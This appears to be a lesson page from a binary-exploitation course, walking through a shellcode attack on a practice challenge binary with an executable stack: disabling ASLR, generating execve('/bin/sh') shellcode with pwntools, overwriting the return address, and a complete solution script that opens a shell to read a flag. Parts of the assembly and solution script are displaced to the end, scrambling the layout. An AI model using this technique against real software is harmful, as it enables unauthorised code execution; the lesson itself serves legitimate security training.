Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. sc-leaked
7 min read

Leaked Shellcode

We will practice writing shellcode against a binary with an executable stack. Note that this attack is relatively uncommon because executable stacks are turned off by default. Shellcode can often work better with other exploit techniques that alter the binary.

Verifying Shellcode

We check the security measures to see that shellcode is plausible:

$ checksec chall[*] './chall'    Arch:       amd64-64-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX unknown - GNU_STACK missing    PIE:        PIE enabled    Stack:      Executable    RWX:        Has RWX segments    Stripped:   No

The mark that the stack is executable is our sign that we can use a shellcode attack. The reverse is not always true: a binary with a non-executable stack can still be vulnerable to shellcode attacks.

Running the Binary

Running shellcode binaries are good ways to check the information we have:

chall
$ ./challYour buffer is at 0x7ffc295f7ca0What do you want to write there?AAAAThank you!

When running the binary multiple times, you may expect the address of the buffer to change. This can be toggled to have the buffer be at the same address every run. This is called ASLR.

Danger
ASLR stands for Address Space Layout Randomization. It randomizes the location of the stack and heap in memory. This means that when the binary is loaded, the address of the buffer is guaranteed to change. This makes it harder to exploit the binary because we can't just hardcode the address of the buffer into our exploit.

We can turn off ASLR locally to make our lives easier:

bash
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Info
To turn it on again, use echo 2 | sudo tee /proc/sys/kernel/randomize_va_space.

Static Analysis

One of the first things you should notice is that there is no win() function or anything like that. This means that we will need to get the flag some other way. We also notice that the flag.txt file is never loaded (verifiable by strings chall | grep flag.txt). How can we solve this? If we can find some way to get a shell on the remote server, we can read the flag ourselves.

There is an obvious vulnerable fgets() call, and we know that the stack is executable. This means that we could write lots of shellcode in our buffer. Since we know where the address of our buffer is, we can then jump to that address and execute our shellcode.

Writing the Shellcode

We have two options for shellcoding challenges: write the assembly ourselves, or let a tool generate it. pwntools ships shellcraft, a library of ready-made assembly, and asm() to assemble it into raw bytes. Since this challenge is linux/x86_64 and we want a shell, we can ask for execve("/bin/sh"):

python
sc = asm(shellcraft.execve("/bin/sh", 0, 0))

shellcraft expands this into the familiar execve shellcode, pushing /bin/sh onto the stack and invoking the syscall:

nasm
1    /* push b'/bin/sh\x00' */
2    mov rax, 0x101010101010101
3    push rax
4    mov rax, 0x101010101010101

Writing the Payload

We need to consider how we're going to craft this payload. The only reference we have is the address of the buffer, so the shellcode needs to start there. We also need to overwrite the return pointer. The buffer sits 0x28 bytes from the saved return pointer, so that's how far we fill before placing the address of our shellcode.

Thankfully, Python has a way to fill a string to a desired size: ljust. ljust takes the new size of the string and the character used to fill the space. It left justifies the old string, padding the back. (There are other commands like rjust, but that's not useful for us here).

python
1payload = sc.ljust(0x28, b"\x90")
2payload += p64(buf)
The buffer is tiny!
This buffer is only 0x20 bytes, barely enough to hold our shellcode. As the shellcode runs, its own push instructions grow the stack downward into the shellcode itself, clobbering the instructions that are about to execute. To avoid this, we nudge the stack pointer out of the way first with a couple of throwaway pops before the real shellcode:
python
sc = asm("pop rax\n pop rax\n" + shellcraft.execve("/bin/sh", 0, 0))

Getting the Buffer Address

How do we get the address of buf, where we're writing to? Pwntools has a method that lets us receive data, so we can receive that address and convert it into a buffer.

There are multiple methods to receive data from the process. By far, the most useful is recvuntil(), which takes an argument of the string you want to match when receiving data. At the first instance it finds the passed string, it will stop receiving data. This means that we should do this in two parts:

  1. Get the first part of the data, which is the string before the buffer, then
  2. Get the buffer address and convert it to a hex value.
python
1p.recvuntil(b"Your buffer is at ")
2buf = int(p.recvline().strip(), 16)

Let's break this one down:

  • We know that the format of the line is Your buffer is at 0x7ffc3731f440.
  • We first receive all the data before the address of the buffer. That data isn't relevant to us, so there's no need to store it.
  • Then, we receive the rest of the line, which is the address. .strip() removes the new line at the end.
  • int(x, 16) converts a string with a hex value (i.e. 0x7ffc3731f440) into a hexadecimal.

Flag

This is everything we need to craft an exploit.

python
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p =

This gets a shell, and then we can cat flag.txt to read the flag!

solution.py
$ python3 solution.py[*] './chall'    Arch:       amd64-64-little    RELRO:      Partial RELRO    Stack:      No canary found    NX:         NX unknown - GNU_STACK missing    PIE:        PIE enabled    Stack:      Executable    RWX:        Has RWX segments    Stripped:   No[+] Starting local process './chall': pid 149806[*] buf: 0x7ffc24565140[*] Switching to interactive modeWhat do you want to write there?Thank you!$ cat flag.txtIFC{PL4C3H0LD3R_FL4G_H3R3!}
^
0x68732f6e69622f
5 xor [rsp], rax
6 mov rdi, rsp
7 xor edx, edx
8 xor esi, esi
9 /* call execve() */
10 push 0x3b
11 pop rax
12 syscall
process
(
)
5
6p.recvuntil(b"Your buffer is at ")
7buf = int(p.recvline().strip(), 16)
8log.info(f"buf: {hex(buf)}")
9
10sc = asm("pop rax\n pop rax\n" + shellcraft.execve("/bin/sh", 0, 0))
11
12payload = sc
13payload = payload.ljust(0x28, b"\x90")
14payload += p64(buf)
15
16p.sendline(payload)
17p.interactive()